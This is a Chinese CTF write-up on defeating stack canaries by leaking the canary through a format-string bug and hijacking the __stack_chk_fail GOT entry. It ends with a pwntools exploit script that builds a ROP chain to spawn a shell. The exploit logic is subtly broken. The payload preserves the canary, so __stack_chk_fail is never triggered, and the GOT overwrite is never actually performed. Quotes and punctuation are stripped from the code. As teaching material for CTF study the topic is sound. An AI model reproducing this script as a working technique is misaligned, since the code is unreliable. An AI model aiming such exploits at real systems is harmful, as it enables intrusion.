CTF中Canary保护机制绕过与stack_chk_fail劫持技术详解
1. 漏洞利用场景解析这个CTF题目名为HappyNewYearCTF_14_覆写stack_chk_fail从标题就能看出几个关键信息点这是一个PWN类题目涉及stack_chk_fail函数的覆写操作很可能考察Canary保护机制的绕过技巧。在实际比赛中这类题目通常出现在中等难度环节要求选手对栈保护机制有深入理解。1.1 Canary保护机制原理现代编译器如GCC默认会开启栈保护选项-fstack-protector其核心就是在函数栈帧中插入一个随机值Canary位于局部变量和返回地址之间。函数返回前会检查这个值是否被修改若检测到篡改则立即调用__stack_chk_fail函数终止程序。典型的栈布局如下高地址 |----------------| | 参数 | |----------------| | 返回地址 | |----------------| | 旧ebp | |----------------| | Canary值 | ← 检测点 |----------------| | 局部变量 | |----------------| 低地址1.2 stack_chk_fail的作用当检测到Canary被修改时程序会调用__stack_chk_fail函数这个函数会打印错误信息stack smashing detected调用abort()终止进程可能记录日志或生成core dump在CTF比赛中如果我们能控制这个函数的执行流程比如通过GOT表覆写就能实现保护机制的绕过。2. 漏洞利用技术路线2.1 常规Canary绕过方法对比方法适用场景本题适用性逐字节爆破有输出反馈的栈溢出❌格式化字符串泄露存在格式化字符串漏洞✅stack_chk_fail劫持能控制GOT表或函数指针✅TLS段读取能读取内存任意地址❌2.2 本题利用链构建根据题目名称提示完整的利用链应该是通过格式化字符串漏洞泄露Canary值构造栈溢出覆盖返回地址同时覆写GOT表中的__stack_chk_fail指针触发Canary检查失败时跳转到恶意代码关键点在于第三步的GOT表覆写。在Linux系统中__stack_chk_fail的GOT表项通常在.got.plt段可以通过objdump查看objdump -R ./challenge | grep stack_chk_fail3. 详细利用步骤3.1 信息收集阶段首先检查二进制文件保护机制checksec --file./challenge典型输出可能显示Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)关键信息存在Canary但Partial RELRO → GOT表可写无PIE → 地址固定3.2 Canary泄露实战假设程序存在格式化字符串漏洞构造如下payloadpayload b%23$p # 通过调试确定Canary在格式化串中的偏移 send(payload) canary int(recv(), 16) print(fLeaked canary: {hex(canary)})注意Canary的最低位字节通常是\x00终止符在构造payload时需要保留这个特性3.3 GOT表覆写技术找到__stack_chk_fail的GOT地址后假设0x601018我们需要将system函数的地址写入。由于ASLR可能开启可以通过程序本身的PLT表获取from pwn import * elf ELF(./challenge) system_plt elf.plt[system] stack_chk_fail_got elf.got[__stack_chk_fail]覆写GOT表的payload构造payload flat([ bA*offset_to_canary, canary, bB*(offset_to_ret - offset_to_canary - 8), p64(pop_rdi_ret), p64(bin_sh_addr), p64(system_plt), p64(stack_chk_fail_got) # 这个地址会被后续写入覆盖 ])3.4 完整攻击脚本示例#!/usr/bin/env python3 from pwn import * context(archamd64, oslinux) def exploit(): # 启动进程或连接远程 io process(./challenge) # 或remote(host, port) # 第一阶段泄露Canary io.sendlineafter(b , b%23$p) canary int(io.recvline(), 16) log.success(fCanary: {hex(canary)}) # 第二阶段覆写GOT并触发 elf context.binary ELF(./challenge) rop ROP(elf) # 构造ROP链 chain flat([ rop.find_gadget([pop rdi, ret])[0], next(elf.search(b/bin/sh\x00)), elf.plt[system], elf.got[__stack_chk_fail] # 这个地址会被覆盖 ]) # 构造栈溢出payload payload fit({ offset_to_canary: p64(canary), offset_to_ret: chain, offset_to_got_write: p64(elf.plt[system]) }) io.sendlineafter(b , payload) io.interactive() if __name__ __main__: exploit()4. 技术难点与解决方案4.1 精确控制写入位置在同时进行栈溢出和GOT覆写时需要精确计算各部分的偏移Canary相对于输入缓冲区的偏移返回地址相对于Canary的偏移GOT表写入位置在payload中的偏移解决方法使用cyclic pattern生成测试字符串通过崩溃信息计算精确偏移使用pwntools的find_offest工具4.2 避免破坏栈结构在构造复杂payload时容易破坏栈帧导致崩溃。建议保持Canary值正确确保所有跳转地址对齐x64要求16字节对齐保留必要的栈空间给被调用函数调试技巧gdb ./challenge b *__stack_chk_fail run payload5. 防御措施与绕过思路5.1 现代防护技术防护技术影响应对方法Full RELROGOT表不可写转向其他攻击面SafeStackCanary存储在独立区域结合其他漏洞利用StackGuard特殊Canary值如Terminator精确泄露不依赖空字节5.2 题目变种分析如果题目增加以下保护PIE启用需要先泄露文本段地址Full RELRO需要寻找其他跳转点如exit handlersFORTIFY_SOURCE需要更精确的溢出控制6. 实战经验分享在真实比赛中这类题目通常会有以下陷阱Canary可能采用特殊生成方式如基于TLSstack_chk_fail可能有自定义实现输入可能存在过滤或长度限制调试技巧# 查看TLS段中的Canary值 gdb -batch -ex p/x *(long*)__tls_get_addr(0x28) ./challenge # 跟踪stack_chk_fail调用 catch syscall exit_group7. 扩展学习资源推荐阅读《漏洞战争》栈溢出章节glibc源码中的stack_chk_fail实现Linux内核安全机制白皮书相关CTF题目pwnable.tw的start题目HackTheBox的Canary机器CTFshow的PWN系列题目训练平台pwnable.krringzer0team各大CTF比赛的archive在实际操作中我发现这类题目最关键的还是对内存布局的精确把控。建议新手先从简单的栈溢出开始逐步增加保护机制体会每种防护技术的突破方法。调试时多关注寄存器状态和栈内存变化这比单纯看教程要有效得多。
